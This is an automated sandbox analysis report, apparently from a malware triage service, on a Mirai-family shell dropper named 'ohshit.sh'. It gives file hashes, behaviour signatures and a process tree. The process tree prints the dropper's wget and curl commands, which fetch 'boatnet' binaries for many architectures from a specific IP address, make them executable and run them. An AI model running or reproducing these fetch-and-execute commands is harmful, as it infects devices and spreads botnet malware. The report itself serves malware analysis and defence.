Analysis
-
max time kernel
150s -
max time network
150s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240226-en -
resource tags
arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
31-10-2024 19:16
Static task
static1
Behavioral task
behavioral1
Sample
ohshit.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
ohshit.sh
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
ohshit.sh
Resource
debian9-mipsbe-20240611-en
General
-
Target
ohshit.sh
-
Size
2KB
-
MD5
7223c9d6dfd0588a042452a35c3eedd5
-
SHA1
3ee35c5d531fccd8bdefb6143429e29575ee47e4
-
SHA256
75f341b14380851a0a0fa06a778281e1306727b8f9c90a81f10381b89609d420
-
SHA512
d2f5d60d1f528fa306b856a9dfb35e862b7e3e9db01a6c973cc2b11ed83e7a4e896d6542cd96a3699c3ddadaa8befde862d1205a5350efb047293be59caa898e
Malware Config
Extracted
mirai
LZRD
Extracted
mirai
LZRD
Extracted
mirai
LZRD
Signatures
-
Mirai family
-
File and Directory Permissions Modification 1 TTPs 15 IoCs
Adversaries may modify file or directory permissions to evade defenses.
Processes:
chmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodpid process 850 chmod 737 chmod 809 chmod 884 chmod 890 chmod 759 chmod 793 chmod 803 chmod 860 chmod 872 chmod 902 chmod 828 chmod 866 chmod 878 chmod 896 chmod -
Executes dropped EXE 15 IoCs
Processes:
WTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFWTFioc pid process /tmp/WTF 738 WTF /tmp/WTF 760 WTF /tmp/WTF 795 WTF /tmp/WTF 804 WTF /tmp/WTF 811 WTF /tmp/WTF 829 WTF /tmp/WTF 852 WTF /tmp/WTF 861 WTF /tmp/WTF 867 WTF /tmp/WTF 873 WTF /tmp/WTF 879 WTF /tmp/WTF 885 WTF /tmp/WTF 891 WTF /tmp/WTF 897 WTF /tmp/WTF 903 WTF -
Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
Processes:
WTFdescription ioc process File opened for modification /dev/watchdog WTF File opened for modification /dev/misc/watchdog WTF -
Writes file to system bin folder 2 IoCs
Processes:
WTFdescription ioc process File opened for modification /sbin/watchdog WTF File opened for modification /bin/watchdog WTF -
Processes:
resource yara_rule /tmp/boatnet.x86 upx /tmp/WTF upx -
Processes:
WTFcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurldescription ioc process File opened for reading /proc/705/cmdline WTF File opened for reading /proc/899/cmdline WTF File opened for reading /proc/872/cmdline WTF File opened for reading /proc/893/cmdline WTF File opened for reading /proc/900/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/477/cmdline WTF File opened for reading /proc/863/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/399/cmdline WTF File opened for reading /proc/510/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/351/cmdline WTF File opened for reading /proc/353/cmdline WTF File opened for reading /proc/881/cmdline WTF File opened for reading /proc/888/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/322/cmdline WTF File opened for reading /proc/375/cmdline WTF File opened for reading /proc/709/cmdline WTF File opened for reading /proc/704/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/869/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/320/cmdline WTF File opened for reading /proc/684/cmdline WTF File opened for reading /proc/876/cmdline WTF File opened for reading /proc/864/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/387/cmdline WTF File opened for reading /proc/470/cmdline WTF File opened for reading /proc/706/cmdline WTF File opened for reading /proc/856/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/324/cmdline WTF File opened for reading /proc/887/cmdline WTF File opened for reading /proc/894/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/905/cmdline WTF File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/377/cmdline WTF File opened for reading /proc/514/cmdline WTF File opened for reading /proc/703/cmdline WTF -
System Network Configuration Discovery 1 TTPs 3 IoCs
Adversaries may gather information about the network configuration of a system.
-
Writes file to tmp directory 29 IoCs
Malware often drops required files in the /tmp directory.
Processes:
curlwgetwgetcurlohshit.shwgetwgetwgetcurlcurlcurlcurlwgetwgetwgetwgetwgetcurlwgetcurlcurlcurlcurlwgetcurlcurlcurlwgetcurldescription ioc process File opened for modification /tmp/boatnet.i686 curl File opened for modification /tmp/boatnet.x86_64 wget File opened for modification /tmp/boatnet.ppc wget File opened for modification /tmp/boatnet.m68k curl File opened for modification /tmp/WTF ohshit.sh File opened for modification /tmp/boatnet.arc wget File opened for modification /tmp/boatnet.mpsl wget File opened for modification /tmp/boatnet.arm5 wget File opened for modification /tmp/boatnet.mips curl File opened for modification /tmp/boatnet.x86 curl File opened for modification /tmp/boatnet.arc curl File opened for modification /tmp/boatnet.x86_64 curl File opened for modification /tmp/boatnet.sh4 wget File opened for modification /tmp/boatnet.x86 wget File opened for modification /tmp/boatnet.arm6 wget File opened for modification /tmp/boatnet.mips wget File opened for modification /tmp/boatnet.arm wget File opened for modification /tmp/boatnet.ppc curl File opened for modification /tmp/boatnet.m68k wget File opened for modification /tmp/boatnet.sh4 curl File opened for modification /tmp/boatnet.arm curl File opened for modification /tmp/boatnet.arm5 curl File opened for modification /tmp/boatnet.arm6 curl File opened for modification /tmp/boatnet.arm7 wget File opened for modification /tmp/boatnet.arm7 curl File opened for modification /tmp/boatnet.i468 curl File opened for modification /tmp/boatnet.mpsl curl File opened for modification /tmp/boatnet.spc wget File opened for modification /tmp/boatnet.spc curl
Processes
-
/tmp/ohshit.sh/tmp/ohshit.sh1⤵
- Writes file to tmp directory
PID:706 -
/usr/bin/wgetwget http://37.221.93.101/hiddenbin/boatnet.x862⤵
- Writes file to tmp directory
PID:710 -
/usr/bin/curlcurl -O http://37.221.93.101/hiddenbin/boatnet.x862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:719 -
/bin/catcat boatnet.x862⤵PID:736
-
/bin/chmodchmod +x boatnet.x86 ohshit.sh systemd-private-97701d714b2b4aa2a3d1bae76dc08dc7-systemd-timedated.service-sd38iy WTF2⤵
- File and Directory Permissions Modification
PID:737 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:738 -
/usr/bin/wgetwget http://37.221.93.101/hiddenbin/boatnet.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:740 -
/usr/bin/curlcurl -O http://37.221.93.101/hiddenbin/boatnet.mips2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:749 -
/bin/catcat boatnet.mips2⤵
- System Network Configuration Discovery
PID:757 -
/bin/chmodchmod +x boatnet.mips boatnet.x86 ohshit.sh systemd-private-97701d714b2b4aa2a3d1bae76dc08dc7-systemd-timedated.service-sd38iy WTF2⤵
- File and Directory Permissions Modification
PID:759 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:760 -
/usr/bin/wgetwget http://37.221.93.101/hiddenbin/boatnet.arc2⤵
- Writes file to tmp directory
PID:763 -
/usr/bin/curlcurl -O http://37.221.93.101/hiddenbin/boatnet.arc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:777 -
/bin/catcat boatnet.arc2⤵PID:792
-
/bin/chmodchmod +x boatnet.arc boatnet.mips boatnet.x86 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:793 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:795 -
/usr/bin/wgetwget http://37.221.93.101/hiddenbin/boatnet.i4682⤵PID:798
-
/usr/bin/curlcurl -O http://37.221.93.101/hiddenbin/boatnet.i4682⤵
- Reads runtime system information
- Writes file to tmp directory
PID:800 -
/bin/catcat boatnet.i4682⤵PID:802
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.mips boatnet.x86 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:803 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:804 -
/usr/bin/wgetwget http://37.221.93.101/hiddenbin/boatnet.i6862⤵PID:805
-
/usr/bin/curlcurl -O http://37.221.93.101/hiddenbin/boatnet.i6862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:806 -
/bin/catcat boatnet.i6862⤵PID:807
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:809 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:811 -
/usr/bin/wgetwget http://37.221.93.101/hiddenbin/boatnet.x86_642⤵
- Writes file to tmp directory
PID:812 -
/usr/bin/curlcurl -O http://37.221.93.101/hiddenbin/boatnet.x86_642⤵
- Reads runtime system information
- Writes file to tmp directory
PID:819 -
/bin/catcat boatnet.x86_642⤵PID:826
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:828 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:829 -
/usr/bin/wgetwget http://37.221.93.101/hiddenbin/boatnet.mpsl2⤵
- Writes file to tmp directory
PID:833 -
/usr/bin/curlcurl -O http://37.221.93.101/hiddenbin/boatnet.mpsl2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:840 -
/bin/catcat boatnet.mpsl2⤵PID:849
-
/bin/chmodchmod +x boatnet.arc boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:850 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:852 -
/usr/bin/wgetwget http://37.221.93.101/hiddenbin/boatnet.arm2⤵
- Writes file to tmp directory
PID:857 -
/usr/bin/curlcurl -O http://37.221.93.101/hiddenbin/boatnet.arm2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:858 -
/bin/catcat boatnet.arm2⤵PID:859
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:860 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:861 -
/usr/bin/wgetwget http://37.221.93.101/hiddenbin/boatnet.arm52⤵
- Writes file to tmp directory
PID:863 -
/usr/bin/curlcurl -O http://37.221.93.101/hiddenbin/boatnet.arm52⤵
- Reads runtime system information
- Writes file to tmp directory
PID:864 -
/bin/catcat boatnet.arm52⤵PID:865
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:866 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:867 -
/usr/bin/wgetwget http://37.221.93.101/hiddenbin/boatnet.arm62⤵
- Writes file to tmp directory
PID:869 -
/usr/bin/curlcurl -O http://37.221.93.101/hiddenbin/boatnet.arm62⤵
- Reads runtime system information
- Writes file to tmp directory
PID:870 -
/bin/catcat boatnet.arm62⤵PID:871
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:872 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:873 -
/usr/bin/wgetwget http://37.221.93.101/hiddenbin/boatnet.arm72⤵
- Writes file to tmp directory
PID:875 -
/usr/bin/curlcurl -O http://37.221.93.101/hiddenbin/boatnet.arm72⤵
- Reads runtime system information
- Writes file to tmp directory
PID:876 -
/bin/catcat boatnet.arm72⤵PID:877
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:878 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:879 -
/usr/bin/wgetwget http://37.221.93.101/hiddenbin/boatnet.ppc2⤵
- Writes file to tmp directory
PID:881 -
/usr/bin/curlcurl -O http://37.221.93.101/hiddenbin/boatnet.ppc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:882 -
/bin/catcat boatnet.ppc2⤵PID:883
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:884 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:885 -
/usr/bin/wgetwget http://37.221.93.101/hiddenbin/boatnet.spc2⤵
- Writes file to tmp directory
PID:887 -
/usr/bin/curlcurl -O http://37.221.93.101/hiddenbin/boatnet.spc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:888 -
/bin/catcat boatnet.spc2⤵PID:889
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:890 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:891 -
/usr/bin/wgetwget http://37.221.93.101/hiddenbin/boatnet.m68k2⤵
- Writes file to tmp directory
PID:893 -
/usr/bin/curlcurl -O http://37.221.93.101/hiddenbin/boatnet.m68k2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:894 -
/bin/catcat boatnet.m68k2⤵PID:895
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:896 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:897 -
/usr/bin/wgetwget http://37.221.93.101/hiddenbin/boatnet.sh42⤵
- Writes file to tmp directory
PID:899 -
/usr/bin/curlcurl -O http://37.221.93.101/hiddenbin/boatnet.sh42⤵
- Reads runtime system information
- Writes file to tmp directory
PID:900 -
/bin/catcat boatnet.sh42⤵PID:901
-
/bin/chmodchmod +x boatnet.arc boatnet.arm boatnet.arm5 boatnet.arm6 boatnet.arm7 boatnet.i468 boatnet.i686 boatnet.m68k boatnet.mips boatnet.mpsl boatnet.ppc boatnet.sh4 boatnet.spc boatnet.x86 boatnet.x86_64 ohshit.sh WTF2⤵
- File and Directory Permissions Modification
PID:902 -
/tmp/WTF./WTF2⤵
- Executes dropped EXE
PID:903
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
23KB
MD56435daeac1475e26a58bb4a1a1d559f2
SHA184038f6881249b0a485f29424e9cc5c4d623a82d
SHA25627470473f6b873dfcdc2d9394775287286916759db07a55e0ea70b151e9943cc
SHA512d14dc6bba03e413fd9f05ced7de92740f9c4c09d0ea2d2c792a7ee03b21aa39417a73143f562ecbbba99275094f9f72cfd2ad4391527d77e739c2bcd900c9e5f
-
Filesize
105KB
MD58eb17c639b114677199b2a6dd1e7e05c
SHA1b02b3e3cc1f6ea4bb91fd2e7752a3cdc2823139f
SHA25696bd43ec3d867cfe80a85a4db2f9cc9681369d9d90c64828145f900655c489dd
SHA512d54b2ce47a437358d939b0f0d2f2eb46a0a38f101a6144e7644aedee5af8bde3ef6ae35ee9187cb559c78f35628315aea16da31dfe97de15e9f6719559e9b471
-
Filesize
220B
MD5f1c24d9fa40a047ae22d2d3ae7dfeac9
SHA1750274b02d5f5b00026a4f55b020f4285c693533
SHA256219db693bfc6306868548b227030b636aaba7e2b2ad0582a8977ecef92d674bc
SHA51236bd34e999eb4426823cadcf27076cf1128470e340172336ac3e3bdf3f194d0c873684f67b8d341df85eeb955e3c9dc3657ad7c5f05525e5c254476605d5b259
-
Filesize
220B
MD5a8f502a6fb3b7b940e922c951d9e493a
SHA1fa94d6dade6bb7537ee3f58f2984b80f4b02dcdf
SHA256748429c25463cc890809a866bfe2cb313f072be73bf5ea88fb4f65e26aa97bec
SHA512e4ada74640d3ad58a6181ab1cd05fadd584788806908b00cf80924a19f29118a17f581d72d9abf1aa207f83d1e4ab163ea6c0c1e0ee6f2e211d1e0d366a27338
-
Filesize
55KB
MD5e7a4009e7f1e36b5fbe9ea50423cb0cb
SHA18097c404de6facfdf3a8334508adf1428d0831f1
SHA2566eaaf842e5bb5155941b3569bd4bfd6907b9c2875118c52bbce210c267f14866
SHA512249abec36b64b00257f26ed4d925a67589b0f1c0feb9c8c4731f996ebbb1bc209d6fa89fc76170d058f1b24af15e658f64de8192999439ef3ba46e99a8f0a50f
-
Filesize
20KB
MD59989c8ea288da2dddad73db20f372194
SHA106efc879f9c23d099b6716bf9f84ac8666f29e98
SHA2569d780354175a3b406f5764962a3ba7c137961d10005c632db0e7baae9e0b9008
SHA51232ea5c58eb7fac324c88f576c7e05867599e5d3380f8868302a315ecc84427e2f80693386150e3121842a06f15c476224c4f66a1dda4d71d47511a1d7c600de9